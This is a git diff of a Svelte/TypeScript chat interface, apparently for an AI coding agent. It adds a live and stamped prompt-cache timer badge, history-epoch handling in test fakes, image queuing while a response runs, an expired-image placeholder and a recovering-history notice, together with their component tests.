diff --git a/src/features/chat/test-helpers.ts b/src/features/chat/test-helpers.ts
index c99d1f4..41cfb3b 100644
--- a/src/features/chat/test-helpers.ts
+++ b/src/features/chat/test-helpers.ts
@@ -43,14 +43,22 @@ export interface FakeHistorySync {
   readonly calls: Array<{ conversationId: string; sinceSeq: number; window?: HistoryWindow }>;
   /** Set the chunks to return on the next call. */
   returnChunks: readonly StoredChunk[];
+  historyEpoch: number;
   readonly impl: HistorySync;
 }
 
 export function createFakeHistorySync(): FakeHistorySync {
   const calls: Array<{ conversationId: string; sinceSeq: number; window?: HistoryWindow }> = [];
   let returnChunks: readonly StoredChunk[] = [];
+  let historyEpoch = 0;
   return {
     calls,
+    get historyEpoch() {
+      return historyEpoch;
+    },
+    set historyEpoch(v: number) {
+      historyEpoch = v;
+    },
     get returnChunks() {
       return returnChunks;
     },
@@ -72,7 +80,7 @@ export function createFakeHistorySync(): FakeHistorySync {
         chunks = chunks.slice(-window.limit);
       }
       const latestSeq = chunks.length > 0 ? Math.max(...chunks.map((c) => c.seq)) : sinceSeq;
-      return { chunks, latestSeq };
+      return { chunks, latestSeq, historyEpoch };
     },
   };
 }
@@ -122,13 +130,28 @@ export interface FakeCache {
 
 export function createFakeCache(): FakeCache {
   const store = new Map<string, StoredChunk[]>();
+  const epochs = new Map<string, number>();
   return {
     store,
     impl: {
+      async historyEpoch(id) {
+        return epochs.get(id) ?? 0;
+      },
+      async reset(id, epoch) {
+        store.delete(id);
+        epochs.set(id, epoch);
+      },
+      async replace(id, incoming, epoch, expectedEpoch) {
+        if ((epochs.get(id) ?? 0) !== expectedEpoch) return false;
+        store.set(id, [...incoming]);
+        epochs.set(id, epoch);
+        return true;
+      },
       async load(conversationId) {
         return store.get(conversationId) ?? [];
       },
-      async commit(conversationId, incoming) {
+      async commit(conversationId, incoming, epoch) {
+        if (epoch !== undefined) epochs.set(conversationId, epoch);
         const existing = store.get(conversationId) ?? [];
         const seen = new Set(existing.map((c) => c.seq));
         const toAppend = incoming.filter((c) => !seen.has(c.seq));
diff --git a/src/features/chat/ui.test.ts b/src/features/chat/ui.test.ts
index 91585e2..74c0619 100644
--- a/src/features/chat/ui.test.ts
+++ b/src/features/chat/ui.test.ts
@@ -3,8 +3,13 @@ import { render, screen, within } from "@testing-library/svelte";
 import userEvent from "@testing-library/user-event";
 import { describe, expect, it, vi } from "vitest";
 import type { RenderedChunk } from "../../core/chunks";
-import type { TurnMetricsEntry } from "../../core/metrics";
+import {
+  type CacheTimerState,
+  initialCacheTimerState,
+  type TurnMetricsEntry,
+} from "../../core/metrics";
 import type { ConvertedJpeg } from "./adapter/image-encode";
+import CacheTimerBadge from "./ui/CacheTimerBadge.svelte";
 import ChatView from "./ui/ChatView.svelte";
 import Composer from "./ui/Composer.svelte";
 import ModelSelector from "./ui/ModelSelector.svelte";
@@ -51,6 +56,25 @@ describe("ChatView", () => {
     expect(screen.getByText("Hello!")).toBeInTheDocument();
   });
 
+  it("renders local-path Markdown images through the backend image route", () => {
+    const chunks: RenderedChunk[] = [
+      {
+        seq: 1,
+        role: "assistant",
+        chunk: { type: "text", text: "![pic](/home/u/pic.png)" },
+        provisional: false,
+      },
+    ];
+
+    const { container } = render(ChatView, {
+      props: { chunks, apiBaseUrl: "http://localhost:24203", cwd: "/w/foo" },
+    });
+
+    expect(container.querySelector("img")?.getAttribute("src")).toBe(
+      "http://localhost:24203/local-image?path=%2Fhome%2Fu%2Fpic.png",
+    );
+  });
+
   it("shows the show-earlier button only when earlier history is unloaded, and pages it in", async () => {
     const chunks: RenderedChunk[] = [
       { seq: 26, role: "user", chunk: { type: "text", text: "later" }, provisional: false },
@@ -825,6 +849,57 @@ describe("ChatView", () => {
 });
 
 describe("Composer", () => {
+  it.each([
+    "running",
+    "queued",
+  ] as const)("relabels Stop only with queued input while %s and preserves its action", async (status) => {
+    const onStop = vi.fn();
+    const onSend = vi.fn();
+    const onQueue = vi.fn();
+    const user = userEvent.setup();
+    const { rerender } = render(Composer, { props: { onSend, onQueue, onStop, status } });
+    const expectPlainStop = () => {
+      const button = screen.getByRole("button", { name: "Stop generation" });
+      expect(button).toHaveTextContent(/^Stop$/);
+      expect(button).not.toHaveAttribute("title");
+    };
+    expectPlainStop(); // No queue snapshot available.
+    await rerender({ queuedMessageCount: 0 });
+    expectPlainStop();
+    await user.click(screen.getByRole("button", { name: "Stop generation" }));
+    expect(onStop).toHaveBeenCalledTimes(1);
+
+    for (const queuedMessageCount of [1, 2]) {
+      await rerender({ queuedMessageCount });
+      const button = screen.getByRole("button", { name: "Flush" });
+      expect(button).toHaveTextContent(/^Flush$/);
+      expect(button).toHaveAttribute(
+        "title",
+        "Stop the current response and start the queued message now",
+      );
+    }
+    await user.click(screen.getByRole("button", { name: "Flush" }));
+    expect(onStop).toHaveBeenCalledTimes(2);
+    expect(onSend).not.toHaveBeenCalled();
+    expect(onQueue).not.toHaveBeenCalled();
+
+    const input = screen.getByRole("textbox", { name: "Message input" });
+    await user.type(input, "next");
+    expect(screen.getByRole("button", { name: "Queue" })).toBeInTheDocument();
+    expect(screen.queryByRole("button", { name: "Flush" })).toBeNull();
+    await user.click(screen.getByRole("button", { name: "Queue" }));
+    expect(onQueue).toHaveBeenCalledExactlyOnceWith("next", undefined);
+    expect(screen.getByRole("button", { name: "Flush" })).toBeInTheDocument();
+    await rerender({ queuedMessageCount: 0 });
+    expectPlainStop(); // Queue drained or cancelled.
+    await rerender({ queuedMessageCount: 1, status: "idle" });
+    expect(screen.getByRole("button", { name: "Send" })).toBeDisabled();
+    await rerender({ status: "error" });
+    expect(screen.getByRole("button", { name: "Send" })).toBeDisabled();
+    await rerender({ status, queuedMessageCount: undefined });
+    expectPlainStop();
+  });
+
   it("calls onSend with the typed text and clears", async () => {
     const onSend = vi.fn();
     const user = userEvent.setup();
@@ -1005,17 +1080,28 @@ describe("Composer", () => {
     expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
   });
 
-  it("queues (steers) text-only and never forwards images", async () => {
-    // While running, the Send button becomes "Queue"; steering is text-only.
+  it("still queues text-only with images omitted", async () => {
+    const onQueue = vi.fn();
+    const onSend = vi.fn();
+    const user = userEvent.setup();
+    render(Composer, { props: { onSend, onQueue, status: "running" } });
+    await user.type(screen.getByRole("textbox", { name: "Message input" }), "steer{Enter}");
+    expect(onQueue).toHaveBeenCalledExactlyOnceWith("steer", undefined);
+    expect(onSend).not.toHaveBeenCalled();
+  });
+
+  it("queues text and images while running and clears the composer", async () => {
     const onQueue = vi.fn();
     const onSend = vi.fn();
     const user = userEvent.setup();
-    const { container } = render(Composer, { props: { onSend, onQueue, status: "running" } });
+    const { container } = render(Composer, {
+      props: { onSend, onQueue, status: "running", encodeJpeg: async () => null },
+    });
 
     const textarea = screen.getByRole("textbox", { name: "Message input" });
     await user.type(textarea, "steer here");
 
-    // Also stage an image — it must NOT be forwarded on a queue.
+    // Stage an image along with the steering text.
     const file = new File(["PNG"], "shot.png", { type: "image/png" });
     const input = container.querySelector('input[type="file"]') as HTMLInputElement;
     Object.defineProperty(input, "files", { value: [file], writable: false });
@@ -1025,8 +1111,66 @@ describe("Composer", () => {
     });
 
     await user.click(screen.getByRole("button", { name: "Queue" }));
-    expect(onQueue).toHaveBeenCalledWith("steer here");
+    expect(onQueue).toHaveBeenCalledExactlyOnceWith("steer here", [
+      { url: "data:image/png;base64,UE5H", mimeType: "image/png" },
+    ]);
+    expect(onSend).not.toHaveBeenCalled();
+    expect(textarea).toHaveValue("");
+    expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
+  });
+
+  it.each(["running", "queued"] as const)("queues images-only while %s", async (status) => {
+    const onQueue = vi.fn();
+    const onSend = vi.fn();
+    const user = userEvent.setup();
+    const { container } = render(Composer, { props: { onSend, onQueue, status } });
+    const input = container.querySelector('input[type="file"]') as HTMLInputElement;
+    Object.defineProperty(input, "files", {
+      value: [new File(["GIF"], "shot.gif", { type: "image/gif" })],
+    });
+    input.dispatchEvent(new Event("change", { bubbles: true }));
+    await screen.findByRole("button", { name: "Remove image" });
+
+    await user.click(screen.getByRole("button", { name: "Queue" }));
+
+    expect(onQueue).toHaveBeenCalledExactlyOnceWith("", [
+      { url: "data:image/gif;base64,R0lG", mimeType: "image/gif" },
+    ]);
+    expect(onSend).not.toHaveBeenCalled();
+    expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
+  });
+
+  it.each([
+    "running",
+    "queued",
+  ] as const)("keeps images and text staged while %s without onQueue", async (status) => {
+    const onSend = vi.fn();
+    const user = userEvent.setup();
+    const { container, rerender } = render(Composer, { props: { onSend, status } });
+    const input = container.querySelector('input[type="file"]') as HTMLInputElement;
+    Object.defineProperty(input, "files", {
+      value: [new File(["GIF"], "shot.gif", { type: "image/gif" })],
+    });
+    input.dispatchEvent(new Event("change", { bubbles: true }));
+    await screen.findByRole("button", { name: "Remove image" });
+    const textarea = screen.getByRole("textbox", { name: "Message input" });
+    await user.type(textarea, "{Enter}"); // image-only: no queue callback
+    await user.type(textarea, "keep this{Enter}");
+    container
+      .querySelector("form")
+      ?.dispatchEvent(new Event("submit", { bubbles: true, cancelable: true }));
+
     expect(onSend).not.toHaveBeenCalled();
+    expect(textarea).toHaveValue("keep this");
+    expect(screen.getByRole("button", { name: "Remove image" })).toBeInTheDocument();
+    expect(screen.getByRole("button", { name: "Queue" })).toBeDisabled();
+    // Once idle, the same staged input can actually be sent.
+    await rerender({ status: "idle" });
+    await user.click(screen.getByRole("button", { name: "Send" }));
+    expect(onSend).toHaveBeenCalledExactlyOnceWith("keep this", [
+      { url: "data:image/gif;base64,R0lG", mimeType: "image/gif" },
+    ]);
+    expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
   });
 });
 
@@ -1542,3 +1686,192 @@ describe("ReasoningEffortSelector", () => {
     });
   });
 });
+
+describe("ChatView — cache timer", () => {
+  const usage = { inputTokens: 1000, outputTokens: 10, cacheReadTokens: 900 };
+  function step(stepId: string) {
+    return { stepId: stepId as StepId, usage, decodeMs: 100 };
+  }
+  function turn(turnId: string, stepIds: string[] = [`${turnId}#0`]): TurnMetricsEntry {
+    const steps = stepIds.map(step);
+    return { turnId, steps, total: { turnId, usage, steps } };
+  }
+  function exchange(turnId: string, base: number): RenderedChunk[] {
+    return [
+      {
+        seq: base,
+        role: "user",
+        chunk: { type: "text", text: `q-${turnId}` },
+        provisional: false,
+        turnId,
+      },
+      {
+        seq: base + 1,
+        role: "assistant",
+        chunk: { type: "text", text: `a-${turnId}` },
+        provisional: false,
+        turnId,
+      },
+    ];
+  }
+  function toolChunk(turnId: string, stepId: string, seq: number): RenderedChunk {
+    return {
+      seq,
+      role: "assistant",
+      chunk: {
+        type: "tool-call",
+        toolCallId: `call-${stepId}`,
+        toolName: "read_file",
+        input: {},
+        stepId: stepId as StepId,
+      },
+      provisional: false,
+      turnId,
+    };
+  }
+  function state(partial: Partial<CacheTimerState>): CacheTimerState {
+    return { ...initialCacheTimerState(), ...partial };
+  }
+
+  it("renders nothing when the feature is off (cacheTimer null)", () => {
+    render(ChatView, { props: { chunks: exchange("t1", 1), turnMetrics: [turn("t1")] } });
+    expect(screen.queryByTestId("cache-timer-live")).toBeNull();
+    expect(screen.queryByTestId("cache-timer-stamp")).toBeNull();
+  });
+
+  it("shows a live timer under executing tools, counting up to 10+ min", async () => {
+    vi.useFakeTimers();
+    try {
+      const chunks = [exchange("t1", 1)[0] as RenderedChunk, toolChunk("t1", "t1#0", 2)];
+      render(ChatView, {
+        props: {
+          chunks,
+          turnMetrics: [{ turnId: "t1", steps: [step("t1#0")], total: null }],
+          cacheTimer: state({
+            running: {
+              kind: "step",
+              turnId: "t1",
+              stepId: "t1#0",
+              startedAt: Date.now(),
+              toolCount: 1,
+              pending: new Set(["call-t1#0"]),
+              maxToolMs: 0,
+            },
+          }),
+        },
+      });
+      const row = screen.getByTestId("cache-timer-tools");
+      expect(row).toHaveTextContent(/Running tools/);
+      expect(screen.getByTestId("cache-timer-live")).toHaveTextContent("0:00");
+      await vi.advanceTimersByTimeAsync(5 * 60_000 + 30_000);
+      expect(screen.getByTestId("cache-timer-live")).toHaveTextContent("5:30");
+      await vi.advanceTimersByTimeAsync(5 * 60_000);
+      expect(screen.getByTestId("cache-timer-live")).toHaveTextContent("10+ min");
+    } finally {
+      vi.useRealTimers();
+    }
+  });
+
+  it("hides the live tools row for a step with no tool calls", () => {
+    render(ChatView, {
+      props: {
+        chunks: exchange("t1", 1),
+        turnMetrics: [{ turnId: "t1", steps: [step("t1#0")], total: null }],
+        cacheTimer: state({
+          running: {
+            kind: "step",
+            turnId: "t1",
+            stepId: "t1#0",
+            startedAt: Date.now(),
+            toolCount: 0,
+            pending: new Set(),
+            maxToolMs: 0,
+          },
+        }),
+      },
+    });
+    expect(screen.queryByTestId("cache-timer-tools")).toBeNull();
+  });
+
+  it("stamps a finished step gap on that step's line, next to its cache badge", () => {
+    const chunks = [exchange("t1", 1)[0] as RenderedChunk, toolChunk("t1", "t1#0", 2)];
+    render(ChatView, {
+      props: {
+        chunks,
+        turnMetrics: [{ turnId: "t1", steps: [step("t1#0")], total: null }],
+        cacheTimer: state({ stepStamps: new Map([["t1#0", 65_000]]) }),
+      },
+    });
+    const stamp = screen.getByTestId("cache-timer-stamp");
+    expect(stamp).toHaveTextContent("1:05");
+    // Sized to match the step's (xs) cache badge.
+    expect(stamp).toHaveClass("badge-xs");
+    expect(stamp).not.toHaveClass("badge-sm");
+    // Same line as the step's cache badge.
+    expect(stamp.parentElement).toContainElement(screen.getByTestId("step-cache-badge"));
+    expect(screen.queryByTestId("cache-timer-tools")).toBeNull();
+  });
+
+  it("runs a turn gap live on that turn's row, and shows stamps on earlier turns", () => {
+    render(ChatView, {
+      props: {
+        chunks: [...exchange("t1", 1), ...exchange("t2", 3)],
+        turnMetrics: [turn("t1"), turn("t2")],
+        cacheTimer: state({
+          running: { kind: "turn", turnId: "t2", startedAt: Date.now() },
+          turnStamps: new Map([["t1", 11 * 60_000]]),
+        }),
+      },
+    });
+    const live = screen.getByTestId("cache-timer-live");
+    expect(live.closest(".chat-bubble")).toHaveTextContent(/turn 2/);
+    expect(live).toHaveClass("badge-sm");
+    const stamp = screen.getByTestId("cache-timer-stamp");
+    expect(stamp).toHaveTextContent("10+ min");
+    expect(stamp.closest(".chat-bubble")).toHaveTextContent(/turn 1/);
+  });
+
+  it("a live timer mounts without re-running its effect on a moving clock (no render stall)", async () => {
+    // Regression: the badge's effect once READ the `current` state it wrote, so
+    // with a real (always-advancing) clock it re-ran itself until Svelte threw
+    // `effect_update_depth_exceeded` — aborting the flush, so turn data showed late.
+    let calls = 0;
+    const now = () => {
+      calls++;
+      return 1_000_000 + calls;
+    };
+    render(CacheTimerBadge, { props: { since: 1_000_000, now } });
+    await new Promise((r) => setTimeout(r, 20));
+    expect(calls).toBeLessThan(5);
+    expect(screen.getByTestId("cache-timer-live")).toHaveTextContent("0:00");
+  });
+
+  it("renders the turn's metrics alongside a live turn timer", () => {
+    render(ChatView, {
+      props: {
+        chunks: exchange("t1", 1),
+        turnMetrics: [turn("t1")],
+        cacheTimer: state({ running: { kind: "turn", turnId: "t1", startedAt: Date.now() } }),
+      },
+    });
+    expect(screen.getByText(/turn 1 · 10 tok out/)).toBeInTheDocument();
+    expect(screen.getByText("a-t1")).toBeInTheDocument();
+    expect(screen.getByTestId("cache-timer-live")).toHaveTextContent(/^0:00$/);
+  });
+
+  it("puts a SEEDED turn gap (no turnId) on the most recent turn's row", () => {
+    render(ChatView, {
+      props: {
+        chunks: [...exchange("t1", 1), ...exchange("t2", 3)],
+        turnMetrics: [turn("t1"), turn("t2")],
+        cacheTimer: state({
+          running: { kind: "turn", turnId: null, startedAt: Date.now() - 2 * 60_000 },
+        }),
+      },
+    });
+    const badges = screen.getAllByTestId("cache-timer-live");
+    expect(badges).toHaveLength(1);
+    expect(badges[0]).toHaveTextContent("2:00");
+    expect(badges[0]?.closest(".chat-bubble")).toHaveTextContent(/turn 2/);
+  });
+});
diff --git a/src/features/chat/ui/CacheTimerBadge.svelte b/src/features/chat/ui/CacheTimerBadge.svelte
new file mode 100644
index 0000000..9e6f96d
--- /dev/null
+++ b/src/features/chat/ui/CacheTimerBadge.svelte
@@ -0,0 +1,70 @@
+<script lang="ts">
+  /**
+   * One cache-timer badge. LIVE when given `since` (counts up from that epoch
+   * ms, ticking once a second, and stops ticking at the 10-minute cap); STAMPED
+   * when given `elapsedMs` (a finished gap — static). Formatting lives in
+   * `core/metrics` (`viewCacheTimer`). Owning the tick here means only this
+   * badge re-renders each second, not the transcript.
+   */
+  import { untrack } from "svelte";
+  import { CACHE_TIMER_MAX_MS, viewCacheTimer } from "../../../core/metrics";
+
+  let {
+    since,
+    elapsedMs,
+    size = "sm",
+    now = Date.now,
+  }: {
+    /** Live: epoch ms the gap started. */
+    since?: number;
+    /** Stamped: the gap's final duration (wins over `since`). */
+    elapsedMs?: number;
+    /** Badge size — match the neighbouring cache badge (`xs` on step lines). */
+    size?: "xs" | "sm";
+    /** Wall clock (injected for tests). */
+    now?: () => number;
+  } = $props();
+
+  // Initial read only (the effect below keeps it current while live).
+  let current = $state(untrack(() => now()));
+
+  // Depends ONLY on `since`/`elapsedMs`/`now`. It must never READ `current`
+  // (it writes it): reading its own write makes the effect re-run itself on
+  // every clock change → `effect_update_depth_exceeded`, which aborts the whole
+  // reactive flush and stalls the transcript (turn data rendering late).
+  $effect(() => {
+    if (elapsedMs !== undefined || since === undefined) return;
+    const start = since;
+    const clock = now;
+    const t0 = clock();
+    current = t0;
+    if (t0 - start >= CACHE_TIMER_MAX_MS) return;
+    const id = setInterval(() => {
+      const t = clock();
+      current = t;
+      if (t - start >= CACHE_TIMER_MAX_MS) clearInterval(id);
+    }, 1000);
+    return () => clearInterval(id);
+  });
+
+  const badgeClass = {
+    success: "badge-success",
+    warning: "badge-warning",
+    error: "badge-error",
+  } as const;
+
+  const live = $derived(elapsedMs === undefined);
+  const view = $derived(viewCacheTimer(elapsedMs ?? current - (since ?? current)));
+</script>
+
+<span
+  class="badge font-mono tabular-nums {badgeClass[view.level]}"
+  class:badge-xs={size === "xs"}
+  class:badge-sm={size === "sm"}
+  class:badge-outline={!live}
+  title={live
+    ? "Cache timer (running): time since the last model request. The Claude prompt cache expires after 5 minutes idle."
+    : "Cache timer (stopped): how long the cache sat idle before the next request. The Claude prompt cache expires after 5 minutes idle."}
+  data-testid={live ? "cache-timer-live" : "cache-timer-stamp"}
+  >{view.label}</span
+>
diff --git a/src/features/chat/ui/ChatView.svelte b/src/features/chat/ui/ChatView.svelte
index 18fea7c..c7f566a 100644
--- a/src/features/chat/ui/ChatView.svelte
+++ b/src/features/chat/ui/ChatView.svelte
@@ -2,7 +2,9 @@
   import type { TurnProviderRetryEvent } from "@dispatch/wire";
   import { groupRenderedChunks, resolveImageUrl, type RenderedChunk, viewProviderRetry } from "../index";
   import {
+    type CacheTimerState,
     interleaveTurnMetrics,
+    lastTurnRowIndex,
     viewCacheRate,
     viewExpectedCache,
     viewStepMetrics,
@@ -10,6 +12,7 @@
     type TurnMetricsEntry,
   } from "../../../core/metrics";
   import { Markdown } from "../../markdown";
+  import CacheTimerBadge from "./CacheTimerBadge.svelte";
   import LazyCollapse from "./LazyCollapse.svelte";
   import ToolCard from "./ToolCard.svelte";
 
@@ -21,14 +24,18 @@
 
   let {
     chunks,
+    recovering = false,
     turnMetrics = [],
     hasEarlier = false,
     onShowEarlier,
     thinkingKeyBase = 0,
     providerRetry = null,
     apiBaseUrl = "",
+    cwd = null,
+    cacheTimer = null,
   }: {
     chunks: readonly RenderedChunk[];
+    recovering?: boolean;
     turnMetrics?: readonly TurnMetricsEntry[];
     /** Earlier history is unloaded (chat limit) and can be paged back in. */
     hasEarlier?: boolean;
@@ -55,10 +62,25 @@
      * "" (root-relative — a browser resolves `/images/…` against its origin).
      */
     apiBaseUrl?: string;
+    /**
+     * The active conversation's working directory (null when unset). Relative
+     * Markdown image srcs (`![x](shot.png)`) resolve against it; local absolute
+     * and `file://` paths do not need it. Passed to `Markdown` with `apiBaseUrl`.
+     */
+    cwd?: string | null;
+    /**
+     * The cache timer (gaps between model requests): a running step gap shows
+     * live at the bottom (under the executing tools), a running turn gap live
+     * on that turn's metrics row; finished gaps are stamped on their step /
+     * turn metrics line. `null` (the default) hides it entirely — the caller
+     * gates on the model.
+     */
+    cacheTimer?: CacheTimerState | null;
   } = $props();
 
   // True while a show-earlier page-in is awaited (disables the button).
   let loadingEarlier = $state(false);
+  let failedImages = $state<string[]>([]);
 
   async function showEarlier() {
     if (!onShowEarlier || loadingEarlier) return;
@@ -70,10 +92,35 @@
     }
   }
 
-  const groups = $derived(groupRenderedChunks(chunks));
+  const groups = $derived(groupRenderedChunks(chunks, recovering));
 
   const rows = $derived(interleaveTurnMetrics(groups, turnMetrics));
 
+  // A SEEDED turn gap (no turnId — e.g. after a reload) renders on the most
+  // recent turn's row (when no user message follows it).
+  const seededTurnRow = $derived(
+    cacheTimer?.running?.kind === "turn" && cacheTimer.running.turnId === null
+      ? lastTurnRowIndex(rows)
+      : null,
+  );
+
+  /** Start of the running turn gap if it belongs on this turn row, else undefined. */
+  function liveTurnSince(turnId: string, rowIndex: number): number | undefined {
+    const r = cacheTimer?.running;
+    if (r?.kind !== "turn") return undefined;
+    if (r.turnId === turnId || (r.turnId === null && rowIndex === seededTurnRow)) {
+      return r.startedAt;
+    }
+    return undefined;
+  }
+
+  // A running step gap with tool calls → the live timer under the executing tools.
+  const liveStepGap = $derived(
+    cacheTimer?.running?.kind === "step" && cacheTimer.running.toolCount > 0
+      ? cacheTimer.running
+      : null,
+  );
+
   // Tool cards use toolCallId keys across pending/result/seal and orphan page-in.
   // Stable per-row keys. Thinking blocks get an ordinal key (`think<n>`) that
   // survives the provisional→committed (seq null → seq N) transition, so the
@@ -105,6 +152,12 @@
   });
 </script>
 
+{#if recovering}
+  <p role="status" class="px-4 py-2 text-sm text-base-content/70">
+    Recovering conversation history… Omitted tool input/output is unavailable until persisted.
+  </p>
+{/if}
+
 {#snippet chunkRow(rendered: RenderedChunk)}
   {#if rendered.role === "user"}
     <!-- User: a speech bubble, left-aligned. A user message may be multi-chunk
@@ -117,13 +170,22 @@
         {#if rendered.chunk.type === "text"}
           <p>{rendered.chunk.text}</p>
         {:else if rendered.chunk.type === "image"}
-          <img
-            src={resolveImageUrl(rendered.chunk.url, apiBaseUrl)}
-            alt={rendered.chunk.mimeType ?? "pasted image"}
-            loading="lazy"
-            decoding="async"
-            class="max-h-80 max-w-full rounded"
-          />
+          {#if failedImages.includes(rendered.chunk.url)}
+            <span class="text-sm opacity-70">image expired</span>
+          {:else}
+            <img
+              src={resolveImageUrl(rendered.chunk.url, apiBaseUrl)}
+              alt={rendered.chunk.mimeType ?? "pasted image"}
+              loading="lazy"
+              decoding="async"
+              onerror={() => {
+                if (rendered.chunk.type === "image" && rendered.chunk.url.startsWith("/images/")) {
+                  failedImages = [...failedImages, rendered.chunk.url];
+                }
+              }}
+              class="max-h-80 max-w-full rounded"
+            />
+          {/if}
         {/if}
       </div>
     </div>
@@ -150,7 +212,11 @@
     <div class="chat chat-start [&>.chat-bubble]:max-w-5xl">
       <div class="chat-bubble w-full bg-transparent">
         {#if rendered.chunk.type === "text"}
-          <Markdown text={rendered.chunk.text} streaming={rendered.streaming ?? false} />
+          <Markdown
+            text={rendered.chunk.text}
+            streaming={rendered.streaming ?? false}
+            image={{ apiBase: apiBaseUrl, cwd }}
+          />
         {:else if rendered.chunk.type === "error"}
           <div class="text-error" role="alert">
             {rendered.chunk.message}
@@ -180,13 +246,14 @@
       </button>
     </div>
   {/if}
-  {#each keyedRows as { row, key } (key)}
+  {#each keyedRows as { row, key }, i (key)}
     <!-- `.chat-row`: content-visibility:auto — the browser skips layout/paint
          for rows outside the viewport (see app.css). -->
     <div class="chat-row">
     {#if row.kind === "step-metrics"}
       {@const sv = viewStepMetrics(row.step, row.index)}
       {@const stepCache = viewCacheRate(row.step.usage)}
+      {@const stepStamp = cacheTimer?.stepStamps.get(row.step.stepId)}
       <div class="chat chat-start">
         <div class="chat-bubble w-full max-w-5xl bg-transparent p-0">
           <div class="flex flex-wrap items-center gap-x-1 text-xs">
@@ -203,6 +270,9 @@
               class="badge badge-xs {badgeClass[stepCache.level]}"
               data-testid="step-cache-badge">{stepCache.pct}%</span
             >
+            {#if stepStamp !== undefined}
+              <CacheTimerBadge elapsedMs={stepStamp} size="xs" />
+            {/if}
           </div>
         </div>
       </div>
@@ -211,6 +281,8 @@
       {@const lastCache = viewCacheRate(row.turn.usage)}
       {@const chatCache = viewCacheRate(row.cumulativeUsage)}
       {@const retention = viewExpectedCache(row.turn.steps[0]?.usage, row.prevLastStepUsage)}
+      {@const turnLive = liveTurnSince(row.turn.turnId, i)}
+      {@const turnStamp = cacheTimer?.turnStamps.get(row.turn.turnId)}
       <div class="chat chat-start">
         <div class="chat-bubble w-full max-w-5xl bg-transparent p-0">
           <div class="flex flex-col gap-1 text-xs">
@@ -236,6 +308,11 @@
                   <span class="badge badge-sm {badgeClass[retention.level]}">{retention.pct}%</span>
                 </span>
               {/if}
+              {#if turnLive !== undefined}
+                <CacheTimerBadge since={turnLive} />
+              {:else if turnStamp !== undefined}
+                <CacheTimerBadge elapsedMs={turnStamp} />
+              {/if}
             </div>
           </div>
         </div>
@@ -252,6 +329,18 @@
     {/if}
     </div>
   {/each}
+  {#if liveStepGap}
+    <!-- Live cache timer while the last step's tools execute; stamped onto that
+         step's metrics line once they return (or the next step starts). -->
+    <div class="chat chat-start">
+      <div class="chat-bubble w-full max-w-5xl bg-transparent p-0">
+        <div class="flex items-center gap-1 text-xs" data-testid="cache-timer-tools">
+          <span class="opacity-70">Running tools</span>
+          <CacheTimerBadge since={liveStepGap.startedAt} size="xs" />
+        </div>
+      </div>
+    </div>
+  {/if}
   {#if providerRetry}
     {@const rv = viewProviderRetry(providerRetry)}
     <!-- Transient yellow warning: a provider error is being retried with backoff.
diff --git a/src/features/chat/ui/ChatView.test.ts b/src/features/chat/ui/ChatView.test.ts
index 77f832d..a6bd8ac 100644
--- a/src/features/chat/ui/ChatView.test.ts
+++ b/src/features/chat/ui/ChatView.test.ts
@@ -1,5 +1,5 @@
 import type { StepId } from "@dispatch/wire";
-import { render, screen } from "@testing-library/svelte";
+import { fireEvent, render, screen } from "@testing-library/svelte";
 import userEvent from "@testing-library/user-event";
 import { describe, expect, it } from "vitest";
 import type { RenderedChunk } from "../../../core/chunks";
@@ -497,3 +497,62 @@ it("renders a per-tool Phosphor icon in the header", () => {
   // Different tools → different glyphs.
   expect(icons[0]?.innerHTML).not.toBe(icons[1]?.innerHTML);
 });
+
+it("replaces failed persisted images with an expired placeholder, without marking inline images expired", async () => {
+  const chunks: RenderedChunk[] = ["/images/conv/gone.png", "data:image/png;base64,AAAA"].map(
+    (url, i) => ({ seq: i + 1, role: "user", chunk: { type: "image", url }, provisional: false }),
+  );
+  render(ChatView, { chunks, apiBaseUrl: "https://backend.test" });
+  const [stored, inline] = screen.getAllByRole("img");
+  if (!stored || !inline) throw new Error("expected both images");
+  expect(stored).toHaveAttribute("src", "https://backend.test/images/conv/gone.png");
+  await fireEvent.error(inline);
+  expect(screen.queryByText("image expired")).toBeNull();
+  await fireEvent.error(stored);
+  expect(screen.getByText("image expired")).toBeInTheDocument();
+  expect(screen.getAllByRole("img")).toEqual([inline]);
+});
+
+it("shows omitted in-progress tool input as recovering/unavailable, never No arguments", async () => {
+  const { container, rerender } = render(ChatView, {
+    recovering: true,
+    chunks: [
+      {
+        seq: null,
+        role: "tool",
+        provisional: true,
+        chunk: {
+          type: "tool-result",
+          toolCallId: "missing",
+          toolName: "run_shell",
+          content: "real output",
+          isError: false,
+        },
+      },
+    ],
+  });
+  expect(screen.getByRole("status").textContent).toContain("unavailable until persisted");
+  expect(screen.getByText("Recovering tool input…")).toBeTruthy();
+  await openAllCollapses(container);
+  expect(screen.getByText(/Tool input is unavailable until it is persisted/)).toBeTruthy();
+  expect(screen.queryByText("No arguments")).toBeNull();
+  expect(screen.getByText("real output")).toBeTruthy();
+  await rerender({
+    recovering: false,
+    chunks: [
+      {
+        seq: 1,
+        role: "assistant",
+        provisional: false,
+        chunk: {
+          type: "tool-call",
+          toolCallId: "missing",
+          toolName: "run_shell",
+          input: { command: "recovered command" },
+        },
+      },
+    ],
+  });
+  expect(screen.queryByRole("status")).toBeNull();
+  expect(screen.queryByText("Recovering tool input…")).toBeNull();
+});
diff --git a/src/features/chat/ui/Composer.svelte b/src/features/chat/ui/Composer.svelte
index c7d9d02..a43ed53 100644
--- a/src/features/chat/ui/Composer.svelte
+++ b/src/features/chat/ui/Composer.svelte
@@ -1,6 +1,7 @@
 <script lang="ts">
   import type { ImageInput } from "@dispatch/wire";
   import { convertToJpeg, type ConvertedJpeg, type ImageJpegEncoder } from "../adapter/image-encode";
+  import { stopButtonLabels } from "../logic/composer";
   import { MAX_IMAGE_EDGE_PX, shouldConvertImage } from "../logic/image-compress";
   import { computeContextUsage, formatCompactTokens } from "../../../core/metrics";
 
@@ -59,6 +60,7 @@
     contextSize = undefined,
     contextWindow = undefined,
     status = "idle",
+    queuedMessageCount = undefined,
   }: {
     /**
      * Send a message (start a turn via `chat.send`). Carries any staged images
@@ -70,10 +72,10 @@
     /**
      * Enqueue a steering message (`chat.queue`). When provided AND the status
      * is `running`, the send button becomes a "Queue" button that steers the
-     * in-flight turn instead of starting a new one. Steering is text-only —
-     * it never carries images (a mid-turn injection has no image surface).
+     * in-flight turn instead of starting a new one. Carries staged images just
+     * like onSend; without this callback, in-flight input stays staged.
      */
